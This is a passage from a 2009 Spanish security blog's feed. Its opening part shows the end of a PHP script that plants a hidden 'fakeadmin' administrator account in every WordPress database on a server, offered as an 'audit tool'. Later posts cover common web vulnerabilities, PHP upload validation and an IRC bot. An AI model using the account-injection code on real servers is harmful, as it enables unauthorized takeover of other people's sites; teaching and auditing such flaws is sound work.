<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users(id, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES(&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;fakeadmin&#8217;, md5(&#8216;dummie&#8217;), &#8216;wordpress&#8217;, &#8216;dummie@wordpress.cl&#8217;, &#8216;http://&#8217;, NOW(), &#8221;, 0, &#8216;wordpressdummieadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; @<a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta (user_id, meta_key, meta_value) VALUES (&quot;</span>.<span class="re0">$wp_uid</span>.<span class="st0">&quot;, &#8216;wp_capabilities&#8217;, &#8216;a:1:{s:13:<span class="es0">\&quot;</span>administrator<span class="es0">\&quot;</span>;b:1;}&#8217; )&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$action</span> == <span class="st0">&quot;delete&quot;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;usermeta WHERE user_id=(SELECT id FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;)&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;DELETE FROM &quot;</span>.<span class="re0">$prefix</span>.<span class="st0">&quot;users WHERE user_login=&#8217;fakeadmin&#8217;&quot;</span>, <span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; @<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="st0">&quot;fakeadmin/dummie&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Este script tiene dos funciones embedidas, las cuales se deben llamar pasando pasando las variables <strong>attack=create_user</strong> o <strong>attack=delete_user</strong>. La primera crea un usuario admin (falso) en todos los wordpress y con la segunda, se eliminan estos usuarios creados.</p>
<p>Conceptualmente es un script muy sencillo pero en un servidor sin protecciones podría ser <em>mortal</em>.</p>
<p>El código está disponible tambien en <a href="http://codes.zerial.org/php/wp-config_discover.phps">http://codes.zerial.org/php/wp-config_discover.phps</a></p>
<p><em>nota: queda de más decir que es para uso educativo y es una herramienta de auditoría <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </em></p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fwp-config-discover%2F&amp;linkname=WP-Config%20Discover%3A%20H%C3%A9chale%20un%20vistazo%20a%20todos%20los%20WordPress%20del%20servidor">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/wp-config-discover/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Vulnerabilidades más comunes en los sitios web</title>
		<link>http://blog.zerial.org/seguridad/vulnerabilidades-mas-comunes-en-los-sitios-web/</link>
		<comments>http://blog.zerial.org/seguridad/vulnerabilidades-mas-comunes-en-los-sitios-web/#comments</comments>
		<pubDate>Sat, 06 Jun 2009 21:06:28 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[auth]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[file disclosure]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[path disclosure]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=335</guid>
		<description><![CDATA[Estamos en el año 2009 y es increible que existiendo tantas herramientas de auditoría y el peligro/riesgo que existe por el mal tratamiento de la información, los desarrolladores esten cayendo en errores tan básicos. Voy a listar las vulnerabilidades que, según mi experiencia, son las más comunes en los sitios web. File/Path Disclosure: Esta vulnerabilidad [...]]]></description>
			<content:encoded><![CDATA[<p>Estamos en el año 2009 y es increible que existiendo tantas herramientas de auditoría y el peligro/riesgo que existe por el mal tratamiento de la información, los desarrolladores esten cayendo en <em>errores</em> tan básicos.</p>
<p>Voy a listar las vulnerabilidades que, según mi experiencia, son las más comunes en los sitios web.</p>
<ul>
<li>File/Path Disclosure: Esta vulnerabilidad es más comun de lo que uno pueda imaginar, aunque generalmente para poder llegar a explotarla es necesario pasar algun sistema de autentificacion ya que es muy comun en sistemas donde los usuarios tienen acceso a descargar o subir información como un <a href="http://blog.zerial.org/seguridad/vulnerabilidad-biblio-uchile/" target="_saelf">sitio de una Universidad,</a> biblioteca, intranet, etc.</li>
</ul>
<ul>
<li> XSS (Cross-Site Scripting): Esta vulnerabilidad tambien es muy comun, aunque es un <em>poco</em> mas compleja de explotar, requiere conocimiento en javascript, manejos de cookies y un poco de experiencia en el tema. Con esta vulnerabilidad es posible <em>robar</em> cookies para ingresar a algun sistema autentificado con un usuario ajeno.</li>
</ul>
<ul>
<li> SQL Injection: Hace un tiempo fue el <em>boom</em> de esta vulnerabilidad, muchos sitios tenian fallos de este tipo. Estuvo de <em>moda</em> explotar vulnerabilidades de phpnuke o phpbb basadas en SQL Injection que nos permitian escalacion de privilegios. Esta tecnica consiste <strong>basicamente</strong> en manipular una consulta sql para lograr nuestro proposito como saber nombre de tablas, version de la base de datos y tambien manipular ingresos de datos a la base de datos para modificar campos de tablas, crear archivos, cambiar privilegios, etc.</li>
</ul>
<ul>
<li> Authentication bypass:  Desde mi punto de vista, esta vulnerabilidad, bug o fallo es uno de los mas <strong>estupidos</strong> que un programador/desarrollador puede cometer. Para hacer un login es necesario manejarse con el tema de cookies o sesiones, segun el lenguaje o las necesidades y cuando una persona sin estos conocimientos intenta hacer un codigo de autentificacion sucede lo peor. El caso mas comun y sencillo de este tipo de fallo es saltarse el login haciendo un cambio en la URL. Por ejemplo, tenemos http://example.com/login.php y nos damos cuenta que ese login.php hace un POST con nuestros datos a http://example.com/admin/valida.php, luego, sin ingresar ningun usuario ni password escribimos manualmente la url http://example.com/admin y sorpresa! estamos en el sitio de admin sin usuario pass ni nada, habiendonos saltado el login. Aunque no lo crean, es bastante comun.</li>
</ul>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-mas-comunes-en-los-sitios-web%2F&amp;linkname=Vulnerabilidades%20m%C3%A1s%20comunes%20en%20los%20sitios%20web" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-mas-comunes-en-los-sitios-web%2F&amp;linkname=Vulnerabilidades%20m%C3%A1s%20comunes%20en%20los%20sitios%20web" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-mas-comunes-en-los-sitios-web%2F&amp;linkname=Vulnerabilidades%20m%C3%A1s%20comunes%20en%20los%20sitios%20web" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-mas-comunes-en-los-sitios-web%2F&amp;linkname=Vulnerabilidades%20m%C3%A1s%20comunes%20en%20los%20sitios%20web" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-mas-comunes-en-los-sitios-web%2F&amp;linkname=Vulnerabilidades%20m%C3%A1s%20comunes%20en%20los%20sitios%20web" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-mas-comunes-en-los-sitios-web%2F&amp;linkname=Vulnerabilidades%20m%C3%A1s%20comunes%20en%20los%20sitios%20web" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-mas-comunes-en-los-sitios-web%2F&amp;linkname=Vulnerabilidades%20m%C3%A1s%20comunes%20en%20los%20sitios%20web" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fvulnerabilidades-mas-comunes-en-los-sitios-web%2F&amp;linkname=Vulnerabilidades%20m%C3%A1s%20comunes%20en%20los%20sitios%20web">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/vulnerabilidades-mas-comunes-en-los-sitios-web/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Validar correctamente la subida de un archivo con php</title>
		<link>http://blog.zerial.org/seguridad/php-validar-subida-fichero/</link>
		<comments>http://blog.zerial.org/seguridad/php-validar-subida-fichero/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 17:09:52 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[tutorual]]></category>
		<category><![CDATA[upload]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=333</guid>
		<description><![CDATA[Cuando nos enfrentamos a esta situación se nos viene a la cabeza distintas formas de querer validar un fichero, según sea la necesidad; por tamaño, extension, etc. Lo que voy a explicar es como realizar la una validación correcta y eficiente del tipo de archivo que se está subiendo y aprovecho de explicar tambien la [...]]]></description>
			<content:encoded><![CDATA[<p>Cuando nos enfrentamos a esta situación se nos viene a la cabeza distintas formas de querer validar un fichero, según sea la necesidad; por tamaño, extension, etc.<br />
Lo que voy a explicar es como realizar la una validación <em>correcta y eficiente </em>del <em>tipo de archivo</em> que se está subiendo y aprovecho de explicar tambien la importancia de realizar bien esta validación.</p>
<p>Antes que todo, hay que tener en claro como funciona esto de la subida de archivos y tener en mente que la validación se puede y <strong>debe</strong> hacerse a nivel de cliente y a nivel de servidor. Muchas veces me he enfrentado a situaciones donde el desarrollador solo hace la validación a nivel de cliente, en javascript. Por ejemplo, así:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt;script&gt;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> validar<span class="br0">&#40;</span>archivo<span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">var</span> b = archivo.<span class="me1">split</span><span class="br0">&#40;</span><span class="st0">&#8216;.&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span>b<span class="br0">&#91;</span>b.<span class="me1">length</span><span class="nu0">-1</span><span class="br0">&#93;</span> == <span class="st0">&#8216;txt&#8217;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">true</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">else</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw3">alert</span><span class="br0">&#40;</span><span class="st0">&#8216;Error: El archivo debe ser .txt&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">false</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span>&lt;/script&gt;</div>
</li>
</ol>
</div>
<p>Si llamamos a esa función pasando como parámetro <em>archivo.txt</em> no mostrara ningún error, de lo contrario, si pasamos otro argumento como <em>pelicula.avi</em> devolverá error y no nos dejará continuar.<br />
Este tipo de validación es el <strong>menos</strong> eficiente, ya que realizar una petición por POST sin pasar por el formulario es algo muy simple, basta con tener las herramientas necesarias como por ejemplo <a href="http://es.wikipedia.org/wiki/CURL" target="curl">curl</a>.<br />
Hay que dejar en claro que el hecho de validar un formulario <em>unicamente</em> en javascript es una gran irresponsabilidad, ya sea la validación de unos simples datos como los típicos nombres, apellidos, email hasta la subida de archivos. El realizar una validación por javascript nos entrega una capa más de seguridad, pero no la única.</p>
<p><span id="more-333"></span></p>
<p>Cuando realizamos un <em>upload</em>, para que el archivo pueda ser validado y procesado a nivel de servidor (php), es necesario que el archivo exista fisicamente en el servidor, es decir, que ya se haya subido, lo que <strong>no</strong> significa que vaya a ser publicado.</p>
<p style="text-align: center;"><img class="size-full wp-image-351 aligncenter" title="validacion_php" src="http://blog.zerial.org/wp-content/uploads/2009/06/validacion_php.png" alt="ciclo de validacion" width="586" height="224" /></p>
<p>La validación correcta para el tipo de un archivo es mediante <em>mime-type</em> y no mediante su <em>extension</em>, ya que cambiarla es muy simple. El <em>mime-type</em> viene impregnado en las cabeceras del archivo y php es capáz de acceder a ellas cuando el fichero se encuentra en nuestro <em>directorio temporal</em> (ver imágen).<br />
Cuando ya hemos realizado el upload, antes de realizar la operación <strong>mode_uploaded_file()</strong> debemos hacer la validación por su mime:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$_FILES</span><span class="br0">&#91;</span><span class="st0">&#8216;nombreDelCampo&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;type&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
</ol>
</div>
<p>En esa variable se guardara el <em>mimetype</em> del fichero que ya hemos subido y que, actualmente, esta en nuestro <em>directorio temporal</em>. Los tipos de mimes pueden ser:</p>
<blockquote><p>[...]<br />
image/jpeg<br />
image/png<br />
image/gif<br />
text/plain<br />
application/octet-stream<br />
audio/mpeg3<br />
application/msword<br />
[...]</p></blockquote>
<p><a target="mime" href="http://www.webmaster-toolkit.com/mime-types.shtml">Lista más completa de MimeTypes</a>.</p>
<p>La importancia de realizar una validación correcta es sensilla, nos pueden meter un caballo de troya, es decir, subir un fichero que tenga extension <em>.jpg</em> pero que en realidad sea un <em>.mp3</em>. Si nos basamos solamente en la validacion javascript, será muy facil saltarnos esa validacion y subir un fichero con la extension que nosotros queramos, por ejemplo un <em>.php</em> &#8220;maligno&#8221; que nos permita una shell remota via web o algún fichero <em>.exe</em> con algún virus o troyano que queramos difundir.<br />
Un ejemplo claro es lo que pasó en <a href="http://codigomorse.net/ojo-con-este-supuesto-mail-de-lanacioncl/" target="morse">este caso</a>, donde <em>alguien</em> subio a un servidor un fichero <em>.exe</em> infectado que luego empezo a propagarlo vía email usando un dominio supuestamente <em>fiable</em>.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fphp-validar-subida-fichero%2F&amp;linkname=Validar%20correctamente%20la%20subida%20de%20un%20archivo%20con%20php" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fphp-validar-subida-fichero%2F&amp;linkname=Validar%20correctamente%20la%20subida%20de%20un%20archivo%20con%20php" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fphp-validar-subida-fichero%2F&amp;linkname=Validar%20correctamente%20la%20subida%20de%20un%20archivo%20con%20php" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fphp-validar-subida-fichero%2F&amp;linkname=Validar%20correctamente%20la%20subida%20de%20un%20archivo%20con%20php" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fphp-validar-subida-fichero%2F&amp;linkname=Validar%20correctamente%20la%20subida%20de%20un%20archivo%20con%20php" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fphp-validar-subida-fichero%2F&amp;linkname=Validar%20correctamente%20la%20subida%20de%20un%20archivo%20con%20php" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fphp-validar-subida-fichero%2F&amp;linkname=Validar%20correctamente%20la%20subida%20de%20un%20archivo%20con%20php" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fphp-validar-subida-fichero%2F&amp;linkname=Validar%20correctamente%20la%20subida%20de%20un%20archivo%20con%20php">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/php-validar-subida-fichero/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ooPhBOT v1.0.5</title>
		<link>http://blog.zerial.org/proyectos/oophbot-v105/</link>
		<comments>http://blog.zerial.org/proyectos/oophbot-v105/#comments</comments>
		<pubDate>Tue, 26 May 2009 17:11:26 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[actualizacion]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[oophbot]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=269</guid>
		<description><![CDATA[Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde este link.]]></description>
			<content:encoded><![CDATA[<p>Hace dias corregi el algoritmo de busqueda de sitios y definiciones para google, pero no lo habia subido. Ya esta disponible la version 1.0.5 del ooPhBot y lo puedes descargar desde <a href="http://blog.zerial.org/files/oophbot-1.0.5.tar.gz">este link</a>.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Foophbot-v105%2F&amp;linkname=ooPhBOT%20v1.0.5">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/proyectos/oophbot-v105/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ooPhBot: Bot para IRC escrito en PHP</title>
		<link>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/</link>
		<comments>http://blog.zerial.org/linux/oophbot-bot-para-irc-escrito-en-php/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 04:26:10 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[bot]]></category>
		<category><![CDATA[irc]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=162</guid>
		<description><![CDATA[Hace algun tiempo programé un bot para IRC en PHP, este bot tenia varias caracteristicas y opciones, usaba una base de datos mysql para almacenar lo que iba &#8220;aprendiendo&#8221;. Dentro de ellas están: Distintos niveles de privilegios (administrador, owner de un canal, access de un canal) Funcion para realizar busquedas en Google (!google &#60;palabra&#62;) Function [...]]]></description>
			<content:encoded><![CDATA[<p>Hace algun tiempo programé un bot para IRC en PHP, este bot tenia varias caracteristicas y opciones, usaba una base de datos mysql para almacenar lo que iba &#8220;aprendiendo&#8221;. Dentro de ellas están:</p>
<ul>
<li>Distintos niveles de privilegios (administrador, owner de un canal, access de un canal)</li>
<li>Funcion para realizar busquedas en Google (!google &lt;palabra&gt;)</li>
<li>Function para buscar definiciones en Google (!define &lt;termino&gt;)</li>
<li>Distintas funciones de administracion de usuarios (!admin|access add|del|list)</li>
<li>etc</li>
</ul>
